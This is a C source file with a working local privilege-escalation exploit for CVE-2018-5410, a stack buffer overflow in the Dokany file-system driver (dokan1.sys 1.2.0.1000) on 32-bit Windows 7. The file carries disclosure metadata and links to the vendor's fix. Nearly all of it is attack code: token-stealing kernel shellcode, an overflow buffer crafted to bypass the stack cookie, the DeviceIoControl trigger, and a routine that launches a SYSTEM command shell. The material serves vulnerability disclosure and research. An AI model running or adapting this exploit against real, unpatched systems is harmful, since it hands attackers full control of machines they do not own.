/*

Exploit Title    - Dokany Stack-based Buffer Overflow Privilege Escalation
Date             - 14th January 2019
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://dokan-dev.github.io
Tested Version   - 1.2.0.1000
Driver Version   - 1.2.0.1000 - dokan1.sys
Software package - https://github.com/dokan-dev/dokany/releases/download/v1.2.0.1000/DokanSetupDbg_redist.exe
Tested on OS     - 32bit Windows 7
CVE ID           - CVE-2018-5410
Vendor fix url   - https://github.com/dokan-dev/dokany/releases/tag/v1.2.1.1000
CERT/CC Vul note - https://www.kb.cert.org/vuls/id/741315
Fixed Version    - 1.2.1.1000
Fixed driver ver - 1.2.1.1000



Check blogpost for details:
 
https://www.greyhathacker.net/?p=1041

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE     896    


// Windows 7 SP1

#define W7_KPROCESS 0x50      // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN    0xf8      // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID     0xb4      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS  0xb8      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_w7[] =
{
  0x60,                                                  // pushad                         Saves all registers
  0x64,0xA1,0x24,0x01,0x00,0x00,                         // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,W7_KPROCESS,                                 // mov eax, [eax+W7_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax                   Current _EPROCESS structure
  0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+W7_TOKEN]        Retrieves TOKEN
  0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+W7_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,                   // sub eax, W7_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+W7_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+W7_TOKEN]        Retrieves TOKEN and stores on EDX
  0x89,0x91,0xF8,0x00,0x00,0x00,                         // mov [ecx+W7_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x61,                                                  // popad                          Restores all registers
  0x81,0xc4,0x3c,0x0b,0x00,0x00,                         // add esp,0xB3c                  Target frame to return
  0x31,0xc0,                                             // xor eax,eax                    NTSTATUS -> STATUS_SUCCESS
  0x5d,                                                  // pop ebp                        Restore saved EBP
  0xc2,0x08,0x00                                         // ret 8                          Return cleanly
};



int spawnShell()
{
    STARTUPINFOA         si;
    PROCESS_INFORMATION  pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return -1;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}



int main(int argc, char *argv[]) 
{
    HANDLE         hDevice;
    char           devhandle[MAX_PATH];
    DWORD          dwRetBytes = 0;   
    BYTE           *inbuffer;
    LPVOID         addrtoshell;


    printf("-------------------------------------------------------------------------------\n");
    printf("   Dokany (dokan1.sys) Stack-based Buffer Overflow Cookie Bypass EoP Exploit   \n");
    printf("                          Tested on 32bit Windows 7                            \n");
    printf("-------------------------------------------------------------------------------\n");

    addrtoshell = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(addrtoshell == NULL)
    {
        printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }

    memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7));

    printf("\n[i] Size of shellcode %d bytes", sizeof(token_steal_w7));
    printf("\n[i] Shellcode located at address 0x%p", addrtoshell);

    inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
   
    if(inbuffer == NULL)
    {
        printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }

    memset(inbuffer, 0x41, BUFSIZE); 
    printf("\n[i] Buffer located at address 0x%p", inbuffer);

    printf("\n[i] Size of total input buffer being sent %d bytes", BUFSIZE);
  
    *(WORD*)(inbuffer) = BUFSIZE;                       // Size of buffer used by memcpy 
    *(WORD*)(inbuffer + 2) = BUFSIZE-6;                 // Size of input buffer, value has to be at most BUFSIZE - 6
    *(DWORD*)(inbuffer + 776) = 0x42424242;             // cookie
    *(DWORD*)(inbuffer + 784) = 0x43434343;             // return
    *(DWORD*)(inbuffer + 792) = 0x44444444;             // IRP
//  *(DWORD*)(inbuffer + 892) = 0x45454545;             // Exception handler
    *(DWORD*)(inbuffer + 892) = (ULONG)addrtoshell;     // Shellcode

    sprintf(devhandle, "\\\\.\\%s", "Dokan_1");

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Open %s device failed\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

    printf("\n[~] Press any key to continue . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x00222010, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); 

    printf("[*] Spawning SYSTEM Shell\n");
    spawnShell();

    CloseHandle(hDevice);
    return 0;
}